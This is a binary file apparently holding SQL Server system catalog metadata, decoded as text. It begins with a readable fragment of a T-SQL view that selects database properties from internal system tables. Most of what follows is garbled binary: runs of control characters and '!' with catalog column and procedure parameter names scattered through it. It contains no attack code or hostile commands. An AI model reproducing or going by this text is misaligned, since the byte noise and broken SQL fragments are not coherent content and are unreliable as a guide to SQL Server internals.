		sysconv(bit, d.category & 2) AS is_subscribed,
		sysconv(bit, d.category & 4) AS is_merge_published,
		sysconv(bit, d.category & 16) AS is_distributor,
		sysconv(bit, d.category & 32) AS is_sync_with_backup,
		d.svcbrkrguid AS service_broker_guid,
		sysconv(bit, case when d.scope = 0 then 1 else 0 end) AS is_broker_enabled,
		p.log_reuse_wait, lr.name AS log_reuse_wait_desc,
		sysconv(bit, d.status2 & 4) AS is_date_correlation_on, 		-- DBR_DATECORRELATIONOPT
		sysconv(bit, d.category & 64) AS is_cdc_enabled,
		sysconv(bit, d.status2 & 0x100) AS is_encrypted,					-- DBR_ENCRYPTION
		convert(bit, d.status2 & 0x8) AS is_honor_broker_priority_on,				-- DBR_HONORBRKPRI
		sgr.guid AS replica_id,
		sgr2.guid AS group_database_id,
		default_language_lcid = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(smallint, p.default_language) else null end,
		default_language_name = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(sysname, sld.name) else null end,
		default_fulltext_language_lcid = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(int, p.default_fulltext_language) else null end,
		default_fulltext_language_name = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(sysname, slft.name) else null end,
		is_nested_triggers_on = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(bit, p.allow_nested_triggers) else null end,
		is_transform_noise_words_on = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(bit, p.transform_noise_words) else null end,
		two_digit_year_cutoff = case when ((d.status2 & 0x80000)=0x80000 AND p.containment = 1) then convert(smallint, p.two_digit_year_cutoff) else null end,
		containment = sysconv(tinyint, (d.status2 & 0x80000)/0x80000), -- DBR_IS_CDB
		containment_desc = convert(nvarchar(60), cdb.name),
		p.recovery_seconds AS target_recovery_time_in_seconds
	FROM sys.sysdbreg d OUTER APPLY OpenRowset(TABLE DBPROP, (case when serverproperty('EngineEdition') = 5 then DB_ID() else d.id end)) p
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = d.id AND r.class = 96 AND r.depsubid = 0	-- SRC_VIEWPOINTDB
	LEFT JOIN sys.syspalvalues st ON st.class = 'DBST' AND st.value = p.state
	LEFT JOIN sys.syspalvalues ua ON ua.class = 'DBUA' AND ua.value = p.user_access
	LEFT JOIN sys.syspalvalues si ON si.class = 'DBSI' AND si.value = p.snapshot_isolation_state
	LEFT JOIN sys.syspalvalues ro ON ro.class = 'DBRO' AND ro.value = p.recovery_model
	LEFT JOIN sys.syspalvalues pv ON pv.class = 'DBPV' AND pv.value = p.page_verify_option
	LEFT JOIN sys.syspalvalues lr ON lr.class = 'LRWT' AND lr.value = p.log_reuse_wait
	LEFT JOIN sys.syssingleobjrefs agdb ON agdb.depid = d.id AND agdb.class = 104 AND agdb.depsubid = 0	-- SRC_AVAILABILITYGROUP 
	LEFT JOIN master.sys.sysclsobjs  ag ON ag.id = agdb.indepid AND ag.class = 67 -- SOC_AVAILABILITY_GROUP
	LEFT JOIN master.sys.sysguidrefs sgr ON sgr.class = 8 AND sgr.id = ag.id AND sgr.subid = 1 -- GRC_AGGUID / AGGUID_REPLICA_ID
	LEFT JOIN master.sys.sysguidrefs sgr2 ON sgr2.class = 9 AND sgr2.id = ag.id AND sgr2.subid = d.id -- GRC_AGDBGUID
	LEFT JOIN sys.syspalvalues cdb ON cdb.class = 'DCDB' AND cdb.value = CASE WHEN (d.status2 & 0x80000)=0x80000 THEN 1 ELSE 0 END
	LEFT JOIN sys.syslanguages sld ON sld.lcid = p.default_language
	LEFT JOIN sys.fulltext_languages slft ON slft.lcid = p.default_fulltext_language
	LEFT JOIN sys.sysobjvalues coll ON coll.valclass = 102 AND coll.subobjid = 0 AND coll.objid = d.id	-- SVC_DATACOLLATION
	WHERE d.id < 0x7fff
		AND has_access('DB', (case when serverproperty('EngineEdition') = 5 then DB_ID() else d.id end)) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`- )(

 }+*40-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-hhcis_sql_language_enabled0-4ewsdl_generator_procedure0-
4Udefault_database0-Wdefault_namespace0-00_default_result_schema0-xxidefault_result_schema_desc0-hhcis_xml_charset_enforced0-hhYis_session_enabled0-88
Ssession_timeout0-xxIlogin_type0-88
Mheader_limit0-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-Odiscriminator!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!		9	v'J
w$hI,Mz5`-)IQe0-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-hhois_message_forwarding_enabled0-88
cmessage_forwarding_size0-
00Sconnection_auth0-xx]connection_auth_desc0-88
Qcertificate_id0-00]encryption_algorithm0-xxgencryption_algorithm_desc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ousermode_time0-|	Ystack_base_address0-|
Wstack_end_address0-|88
_stack_bytes_committed0-|88
Ustack_bytes_used0-|
Eaffinity0-|88
Epriority0-|88
Alocale0-|?token0-|88
Uis_impersonating0-|88
gis_waiting_on_loader_lock0-|Ifiber_data0-|Othread_handle0-|Mevent_handle0-|Wscheduler_address0-|Qworker_address0-|_fiber_context_address0-|Mself_address0-|44Sprocessor_group0-44I@data_type0-00K@best_match0-:S@procedure_name0-:88
O@group_number0-:W@procedure_schema0-:S@parameter_name-30-3@G@filename-;}0-;}E@command0-;}I@parameter0-C@job_id0-(I@agenttype0-
88
A@objid0-
I@publisher0-
O@publisher_db0-
M@publication0-
G@procname0-
K@proc_owner0-
E@cftproc0-
O@identity_col0-M@publication0-@K@scriptfile0-hhI@skiperror0-I@publisher0-K@subscriber0-dG@reserved0-hh[@ignore_distributor0-I@publisher0-88
E@noraise0-'?@dbms0-'E@version0-'?@type0-'88
E@dbms_id0-'88
M@datatype_id0-cfM@publication0-cfE@article0-cfC@status0-cf88
_@skipobjectactivation0-cfI@publisher0-ZI@publisher0-ZhhE@enabled0-Z88
G@interval0-Z88
I@threshold0-Z88
K@LRinterval0-Z88
M@LRthreshold0-SK@subscriber0-$$A@pubidWCOLLATION_CATALOG0-0+8UCOLLATION_SCHEMA0-0+8QCOLLATION_NAME0-0+8QDOMAIN_CATALOG0-0+8ODOMAIN_SCHEMA0-0+8KDOMAIN_NAME-30-3@G@filename-1950-195E@db_name-;}0-;}E@command0-;}I@parameter0-C@job_id0-(I@agenttype0-
88
A@objid0-
I@publisher0-
O@publisher_db0-
M@publication0-
G@procname0-
K@proc_owner0-
E@cftproc0-
O@identity_col0-
	C@ts_col0-

E@op_type0-
[@primary_key_bitmap0-
88
K@pubversion0-7&G@rolename0-7&K@membername0-M@publicationh8q*

E

	bmnT[\g&~-rA0Ux}gzy4	a	1P~J/

H
	`Y-I1)!GLY¼0-$$Egroup_id0-4=name0-P4PKresource_id0-P4PWresource_group_id0-88
cfailure_condition_level0-88
]health_check_timeout0-00kautomated_backup_preference0-x4xuautomated_backup_preference_desc0-44Isession_id0-88
Kdatabase_id0-ouser_objects_alloc_page_count0-suser_objects_dealloc_page_count0-winternal_objects_alloc_page_count0-{internal_objects_dealloc_page_count0-88
Kpdw_node_id0-'88
Arun_id0-'=name0-'==Ksubmit_time0-'==Istart_time0-'==Eend_time0-'88
Ytotal_elapsed_time0-'  Qoperation_type0-'  =mode0-'	Odatabase_name0-'
Itable_name0-'88
Mprincipal_id0-'@@Isession_id0-'
@@Irequest_id0-'  Astatus0-'88
Eprogress0-'@@Ccommand0-'Qrows_processed0-'Orows_rejected0-'Orows_inserted0-<88
Kpdw_node_id0-<88
Mcomponent_id0-<_component_instance_id0-<88
Ealert_id0-<HHWalert_instance_id0-<Ocurrent_value0-<Qprevious_value0-<==Kcreate_time0-oEOTABLE_CATALOG0-oEMTABLE_SCHEMA0-oEITABLE_NAME0-oE@@SVIEW_DEFINITION0-oEMCHECK_OPTION0-oEMIS_UPDATABLE0-&IM@publication0-&I$$A@artid0-&I$$A@repid0-&I$$A@pubid0-&I88
A@objid0-&I88
I@tablenick0-&I88
O@partition_id0-hhG@is_biton0-I@publisher0-O@publisher_db0-M@publication0-00C@action0-M@publication0-E@article0-I@publisher0-S@publisher_type0-hhI@usesqlclr0-<M@publication0-<I@publisher0-<S@publisher_type0-288
A@artid0-200Q@publishertype0-2I@publisher0-M@publication0-E@article0-
88
K@request_id0-
I@peer_node0-
E@peer_db0-
88
O@peer_version0-
[@peer_subscriptions0-&88
K@agent_type0-&88
G@agent_id0-&88
K@profile_id0-I@publisher0-O@publisher_db0-M@publication0-88
I@tracer_id0-hhY@subscribers_found0-88
I@tracer_id0-==M@cutoff_date0-88
]@num_records_removed0-M@publication0-I@publisher0-O@publisher_db0-xLI@publisher0-xLO@publisher_db0-xLM@publication0-xL00C@action0-3I@publisher0-3O@publisher_db0-3M@publication0-3K@subscriber0-3Q@subscriber_dbype0-']xG^
cw
&
;DL

U

		C	d.U<M8)6t'Gb~9'm$\
}.c"D-`m-?K)}nE0-=44=type0-=009id0-=00=csid0-=44Astatus0-=4=name0-=4Kdescription0-=ppUbinarydefinition0-=""Idefinition0->44Alangid0->4Idateformat0->00Gdatefirst0->88
Cupgrade0->4=name0->4?alias0->Amonths0->Kshortmonths0->	=days0->
88
=lcid0->44Gmsglangid0-i=name0-i88
9id0-i00?xtype0-i00Etypestat0-i44Gxusertype0-i44Alength0-i00?xprec0-i00Axscale0-i	44?colid0-i
44Cxoffset0-i00Abitpos0-i00Ereserved0-i
44Ccolstat0-i88
Ecdefault0-i88
Adomain0-i44Anumber0-i44Ecolorder0-i@@Cautoval0-i44Aoffset0-i88
Kcollationid0-i88
Elanguage0-i00Astatus0-i00=type0-i44Eusertype0-iEprintfmt0-@44Afileid0-@44Cgroupid0-@88
=size0-@88
Cmaxsize0-@88
Agrowth0-@88
Astatus0-@88
=perf0-@44=dbid0-@	4=name0-@
4Efilename0-?88
Ebucketid0-?d4dMcacheobjtype0-?(4(Cobjtype0-?88
?objid0-?44=dbid0-?44Edbidexec0-?44;uid0-?88
Grefcounts0-?	88
Gusecounts0-?
88
Gpagesused0-?88
Csetopts0-?44Alangid0-?
44Idateformat0-?88
Astatus0-?Elasttime0-?Kmaxexectime0-?Kavgexectime0-?Glastreads0-?Ilastwrites0-?88
Esqlbytes0-?x4x;sql!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!B

4
		k	*	aYQW	

R

P
m$Gx7fb#NK
Kz1T`-D)0H#0W0-+D88
starget_recovery_time_in_seconds0-,44?srvid0-,44Gsrvstatus0-,4Csrvname0-,4Isrvproduct0-,4Mprovidername0-,@4@Idatasource0-,@4@Elocation0-,@4@Qproviderstring0-,	==Ischemadate0-,
88
Gtopologyx0-,88
Gtopologyy0-,4Ccatalog0-,
Msrvcollation0-,88
Qconnecttimeout0-,88
Mquerytimeout0-,4Isrvnetname0-,hhEisremote0-,hh;rpc0-,hh;pub0-,hh;sub0-,hh=dist0-,hh=dpub0-,hhArpcout0-,hhIdataaccess0-,hh[collationcompatible0-,hhAsystem0-,hhYuseremotecollation0-,hh]lazyschemavalidation0-,4Gcollation0-,hhGnonsqlsub0--44Qremoteserverid0--4Qremoteusername0--44Astatus0--UU;sid0--==Ichangedate0-.44=spid0-.44=kpid0-.44Cblocked0-.Ewaittype0-.Ewaittime0-.@4@Mlastwaittype0-.4Mwaitresource0-.44=dbid0-.	44;uid0-.
88
;cpu0-.Kphysical_io0-.88
Ememusage0-.
==Ilogin_time0-.==Ilast_batch0-.44=ecid0-.44Gopen_tran0-.<4<Astatus0-.VV;sid0-.4Ehostname0-.4Mprogram_name0-.4Khostprocess0-. 4 ;cmd0-.4Gnt_domain0-.4Knt_username0-.4Knet_address0-.4Knet_library0-.4Eloginame0-.Mcontext_info0-.Isql_handle0-.88
Istmt_start0-.88
Estmt_end0-. 88
Irequest_idEloginsid0-144Astatus0-1==Ichangedate0-288
?error0-200Eseverity0-244Adlevel0-24Kdescription0-244Gmsglangid0-4@4@Ersc_text0-4Crsc_bin0-4Irsc_valblk0-444Ersc_dbid0-444Grsc_indid0-488
Grsc_objid0-400Ersc_type0-400Ersc_flag0-4	00Ereq_mode0-4
00Ireq_status0-444Ireq_refcnt0-444Oreq_cryrefcnt0-4
88
Mreq_lifetime0-488
Ereq_spid0-488
Ereq_ecid0-444Oreq_ownertype0-4Wreq_transactionID0-4$$Yreq_transactionUOW0-04EopenTape0-/4Kobject_name0-/4Mcounter_name0-/4Oinstance_name0-/Icntr_value0-/88
Gcntr_type0-.44=spid0-.44=kpid0-.44Cblocked0-.Ewaittype0-.Ewaittime0-.@4@Mlastwaittype0-.4Mwaitresource0-.44=dbid0-.	44;uid0-.
88
;cpu0-.Kphysical_io0-.88
Ememusage0-.
==q(Kn3VV


4
4]

W

		9	NYU_x+Z{2Y`4-H)R	$zݙ0-88
Gobject_id0-88
Kassembly_id0-Qassembly_class0-Sassembly_method0-88
cexecute_as_principal_id0-88
Gobject_id0-@Idefinition0-hhSuses_ansi_nulls0-hhauses_quoted_identifier0-88
cexecute_as_principal_id0-88
Gobject_id0-88
=type0-Gtype_desc0-hhUis_trigger_event0-hhEis_first0-hhCis_last0-88
Uevent_group_type0-_event_group_type_desc0-=name0-88
Gobject_id0-00Mparent_class0-xxWparent_class_desc0-88
Gparent_id0-=type0-xxGtype_desc0-==Kcreate_date0-	==Kmodify_date0-
hhOis_ms_shipped0-hhKis_disabled0-4=name0-88
Kendpoint_id0-88
Mprincipal_id0-00Eprotocol0-xxOprotocol_desc0-00=type0-xxGtype_desc0-00?state0-	xxIstate_desc0-
hhWis_admin_endpoint0-00=role0-xxGrole_desc0-
hh_is_encryption_enabled0-00Sconnection_auth0-xx]connection_auth_desc0-88
Qcertificate_id0-00]encryption_algorithm0-xxgencryption_algorithm_desc0-88
Gobject_id0-88
=type0-Gtype_desc0-hhUis_trigger_event0-88
Uevent_group_type0-_event_group_type_desc0-4=name0-88
Gobject_id0-00Mparent_class0-xxWparent_class_desc0-88
Gparent_id0-==Kcreate_date0-==Kmodify_date0-Mservice_name0-	Sbroker_instance0-
UUKcreator_sid0-88
Mprincipal_id0-88
Kendpoint_id0-Gnamespace0-Mmethod_alias0-4Kobject_name0-00Oresult_schema0-xxYresult_schema_desc0-00Oresult_format0-xxYresult_format_descv6Wl!8g^,
~
!
o(K

9
		\		:k$9Hk$=@C`-C)U%5$/4Bu0-+=name0-+88
Kdatabase_id0-+88
Ysource_database_id0-+UUGowner_sid0-+==Kcreate_date0-+00[compatibility_level0-+Qcollation_name0-+00Kuser_access0-+	xxUuser_access_desc0-+
hhMis_read_only0-+hhUis_auto_close_on0-+hhWis_auto_shrink_on0-+
00?state0-+xxIstate_desc0-+hhOis_in_standby0-+hh[is_cleanly_shutdown0-+hhsis_supplemental_logging_enabled0-+00esnapshot_isolation_state0-+xxosnapshot_isolation_state_desc0-+hhois_read_committed_snapshot_on0-+00Qrecovery_model0-+xx[recovery_model_desc0-+00Ypage_verify_option0-+xxcpage_verify_option_desc0-+hhcis_auto_create_stats_on0-+hhcis_auto_update_stats_on0-+hhois_auto_update_stats_async_on0-+hhcis_ansi_null_default_on0-+hhUis_ansi_nulls_on0-+hhYis_ansi_padding_on0-+hh[is_ansi_warnings_on0-+ hhUis_arithabort_on0-+!hhois_concat_null_yields_null_on0-+"hheis_numeric_roundabort_on0-+#hhcis_quoted_identifier_on0-+$hheis_recursive_triggers_on0-+%hhmis_cursor_close_on_commit_on0-+&hhcis_local_cursor_default0-+'hh[is_fulltext_enabled0-+(hhWis_trustworthy_on0-+)hhWis_db_chaining_on0-+*hhiis_parameterization_forced0-++hhwis_master_key_encrypted_by_server0-+,hhMis_published0-+-hhOis_subscribed0-+.hhYis_merge_published0-+/hhQis_distributor0-+0hh[is_sync_with_backup0-+1$$[service_broker_guid0-+2hhWis_broker_enabled0-+300Qlog_reuse_wait0-+4xx[log_reuse_wait_desc0-+5hhais_date_correlation_on0-+6hhQis_cdc_enabled0-+7hhMis_encrypted0-+8hhkis_honor_broker_priority_on0-+9$$Ireplica_id0-+:$$Wgroup_database_id0-+;44_default_language_lcid0-+<4_default_language_name0-+=88
qdefault_fulltext_language_lcid0-+>4qdefault_fulltext_language_name0-+?hh_is_nested_triggers_on0-+@hhkis_transform_noise_words_on0-+A44_two_digit_year_cutoff0-+B00Kcontainment0-+CxxUcontainment_desc&\zedWTO<|%
g
2^	
U

	.	hQ"JWl.A`I)]0k2~6name6&replica_id6$owner_sid6(database_id66is_auto_cleanup_on62retention_period6>retention_period_units6Hretention_period_units_desc68max_cleanup_version6(database_id6.mirroring_guid60mirroring_state6:mirroring_state_desc6.mirroring_role68mirroring_role_desc6@mirroring_role_sequence6>mirroring_safety_level6	Hmirroring_safety_level_desc6
Dmirroring_safety_sequence6>mirroring_partner_name6Fmirroring_partner_instance6
>mirroring_witness_name6@mirroring_witness_state6Jmirroring_witness_state_desc6>mirroring_failover_lsn6Jmirroring_connection_timeout6:mirroring_redo_queue6Dmirroring_redo_queue_type6Bmirroring_end_of_log_lsn6Dmirroring_replication_lsn6(database_id6,database_guid6(family_guid68last_log_backup_lsn66recovery_fork_guid6Bfirst_recovery_fork_guid6.fork_point_lsn6,credential_id6name68credential_identity6(create_date6(modify_date6(target_type6$target_id6*principal_id6,credential_id6
,credential_id6
(family_guid6(provider_id6name6guid6 version6"dll_path6&is_enabled6"audit_id6name6&audit_guid6(create_date6(modify_date6*principal_id6type6$type_desc6	&on_failure6
0on_failure_desc62is_state_enabled6(queue_delay6
$predicate6"audit_id6name6&audit_guid6(create_date6(modify_date6*principal_id6type6$type_desc6	&on_failure6
0on_failure_desc62is_state_enabled6(queue_delay6
$predicate6,max_file_size66max_rollover_files6$max_files66reserve_disk_space6,log_file_path6,log_file_name6@server_specification_id6name6(create_date6(modify_date6&audit_guid62is_state_enabled6@server_specification_id60audit_action_id64audit_action_name6class6&class_desc6"major_id6"minor_id6:audited_principal_id6	.audited_result6
"is_group6>classifier_function_id6&is_enabled6 pool_id6name60min_cpu_percent60max_cpu_percent66min_memory_percent66max_memory_percent60cap_cpu_percent6"group_id6name6&importance6Rrequest_max_memory_grant_percent6Brequest_max_cpu_time_sec6Rrequest_memory_grant_timeout_sec6 max_dop66group_max_requests6	 pool_id:.component_name:,database_name:(schema_name:(object_name:state:type62event_session_id6name6:event_retention_mode6Devent_retention_mode_desc6:max_dispatch_latency6&max_memory6.max_event_size6<memory_partition_mode6	Fmemory_partition_mode_desc6
0track_causality6,startup_state62event_session_id6"event_id6name6 package6module6$predicate6,predicate_xml62event_session_id6$target_id6name6 package6module62event_session_id6"event_id6name6 package6module62event_session_id6$object_id6name6value6.component_name6,database_name6(schema_name6(object_name6state6typeabase_id66is_auto_cleanup_on62retention_period6>retention_period_units6Hretention_period_units_desc68max_cleanup_version6(database_id6.mirroring_guid60mirroring_state6:mirroring_state_dB	j		tDhx8PB:FnB
	Lt (H~dBf>|bn2`&2^x<&@p
8
`

z

		T"<l^
8

^
*
t
:ZL
&
,nFR^.z`"N)z`6+2is_auto_close_on6+@is_auto_create_stats_on6+4is_auto_shrink_on6+Lis_auto_update_stats_async_on6+@is_auto_update_stats_on6+8is_cleanly_shutdown6+,is_in_standby6+Lis_read_committed_snapshot_on6+
*is_read_only6+Pis_supplemental_logging_enabled6+name6+$owner_sid6+6page_verify_option6+@page_verify_option_desc6+.recovery_model6+8recovery_model_desc6+Bsnapshot_isolation_state6+Lsnapshot_isolation_state_desc6+6source_database_id6+
state6+&state_desc6+(user_access6+	2user_access_desc6=2binarydefinition6=csid6=&definition6=(description6=id6=name6=status6=type6>alias6>$datefirst6>&dateformat6>	days6>langid6>
lcid6>months6>$msglangid6>name6>(shortmonths6> upgrade6i autoval6ibitpos6i"cdefault6i	colid6i$collation6i(collationid6i"colorder6i
 colstat6idomain6iid6i&iscomputed6i&isnullable6i&isoutparam6i"language6ilength6iname6inumber6ioffset6iprec6i"printfmt6i"reserved6iscale6istatus6i *tdscollation6itype6i"typestat6i"usertype6i
 xoffset6ixprec6ixscale6+!Lis_concat_null_yields_null_on6+"Bis_numeric_roundabort_on6+#@is_quoted_identifier_on6+$Bis_recursive_triggers_on6+%Jis_cursor_close_on_commit_on6+&@is_local_cursor_default6+'8is_fulltext_enabled6+(4is_trustworthy_on6+)4is_db_chaining_on6+*Fis_parameterization_forced6++Tis_master_key_encrypted_by_server6+,*is_published6+-,is_subscribed6+.6is_merge_published6+/.is_distributor6+08is_sync_with_backup6+18service_broker_guid6+24is_broker_enabled6+3.log_reuse_wait6+48log_reuse_wait_desc6+5>is_date_correlation_on6+6.is_cdc_enabled6+7*is_encrypted6+8His_honor_broker_priority_on6+9&replica_id6+?<is_nested_triggers_on6+@His_transform_noise_words_on6+A<two_digit_year_cutoff6+DPtarget_recovery_time_in_seconds66name66dbid66sid66mode66status66 status266crdate66"reserved66	"category66
$cmptlevel66"filename66 version6@fileid6@ groupid6@size6@ maxsize6@growth6@status6@perf6@dbid6@	name6@
"filename63sid63status63&createdate63&updatedate63 accdate63totcpu63totio63&spacelimit63	$timelimit63
(resultlimit63name63dbname63
"password63"language63$denylogin63$hasaccess63"isntname63$isntgroup63"isntuser63"sysadmin63,securityadmin63(serveradmin63&setupadmin63*processadmin63$diskadmin63$dbcreator63$bulkadmin63$loginname6,srvid6,$srvstatus6, srvname6,&srvproduct6,*providername6,&datasource6,"location6,.providerstring6,	&schemadate6,
$topologyx6,$topologyy6, catalog6,
*srvcollation6,.connecttimeout6,*querytimeout6,&srvnetname6,"isremote6,rpc6,pub6,sub6,dist6,dpub6,rpcout6,&dataaccess6,8collationcompatible6,system6,6useremotecollation6,:lazyschemavalidation6,$collation6,$nonsqlsub6-.remoteserverid6-.remoteusername6-status6-sid6-&changedate61"rmtsrvid61(rmtloginame61(rmtpassword61"loginsid61status61&changedate62error62"severity6



r
T
8

					f	D		~\4 Tnl:tL2xT8h6Lf4L*P2
lX,<8~ZX<d&>|`ZlX6*@&x>dtdp0&
,lR"B(
~
XZ
dT*RR`!)C6ixtype6i$xusertype6j,default_value6j4has_default_value6j,is_cursor_ref6j
$is_output6j(is_readonly6j
0is_xml_document6j&max_length6jname6jnumber6j$object_id6j*parameter_id6j$precision6j	scale6j.system_type_id6j*user_type_id6j4xml_collection_id6k$column_id6k4default_object_id6k
.is_ansi_padded6k,is_column_set6k
(is_computed6k4is_dts_replicated6k,is_filestream6k(is_identity6k6is_merge_published6k<is_non_sql_subscribed6k	(is_nullable6k,is_replicated6k,is_rowguidcol6k$is_sparse6k0is_xml_document6k&max_length6kname6k$object_id6k$precision6k.rule_object_id6kscale6k.system_type_id6k*user_type_id6k4xml_collection_id6tuid6tstatus6tname6tsid6troles6t&createdate6t&updatedate6taltuid6t	"password6t
gid6t environ6t(hasdbaccess6t
 islogin6t"isntname6t$isntgroup6t"isntuser6t$issqluser6t$isaliased6t$issqlrole6t$isapprole6r groupid6r(allocpolicy6rstatus6r$groupname6uname6uxtype6ustatus6u$xusertype6ulength6uxprec6uxscale6u"tdefault6u	domain6u
uid6u"reserved6u(collationid6u
"usertype6u"variable6u&allownulls6utype6u"printfmt6uprec6uscale6u$collation6v constid6vfkeyid6vkeycnt6v forkeys6v refkeys6v"fkeydbid6v
fkey16vfkey26vfkey36v
fkey46vfkey56vfkey66vfkey76vfkey86vfkey96vfkey106vfkey116vfkey126vfkey136vfkey146vfkey156vfkey166vrkey16vrkey26vrkey36vrkey46vrkey56vrkey66v rkey76v!rkey86v"rkey96v#rkey106v$rkey116v%rkey126v&rkey136v'rkey146v(rkey156v)rkey166s$memberuid6s"groupuid6qfileid6q groupid6qsize6q maxsize6qgrowth6qstatus6qperf6qname6q	"filename6l.component_name6l(schema_name6l(object_name6lstate6ltypeocpolicy6rstatus6r$groupname6uname6uxtype6ustatus6u$xusertype6ulength6uxprec6uxscale6u"tdefault6u	domain6u
uid6u"reserved6u(collationid6u
"usertype6u"variable6u&allownulls6utype6u"printfmt6uprec6uscale6u$collation6} constid6}fkeyid6}rkeyid6}fkey6}rkey6}keyno6zid6zstatus6zfirst6zindid6zroot6zminlen6zkeycnt6z groupid6z	dpages6z
"reserved6zused6zrowcnt6z
$rowmodctr6z$reserved36z$reserved46z xmaxlen6z maxirow6z.OrigFillFactor6z(StatVersion6z$reserved26z"FirstIAM6zimpid6z$lockflags6z"pgmodctr6zkeys6zname6z"statblob6zmaxlen6zrows6yid6yindid6ycolid6ykeyno6v constid6vfkeyid6vrkeyid6v$rkeyindid6vkeycnt6v forkeys6v refkeys6v"fkeydbid6v	"rkeydbid6v
fkey16vfkey26vfkey36v
fkey46vfkey56vfkey66vfkey76vfkey86vfkey96vfkey106vfkey116vfkey126vfkey136vfkey146vfkey156vfkey166vrkey16vrkey26vrkey36vrkey46vrkey56vrkey66v rkey76v!rkey86v"rkey96v#rkey106v$rkey116v%rkey126v&rkey136v'nRnP26&

F
H,




dh

R


Hn
j`.P8

*&>v\	f		B	n6N(	
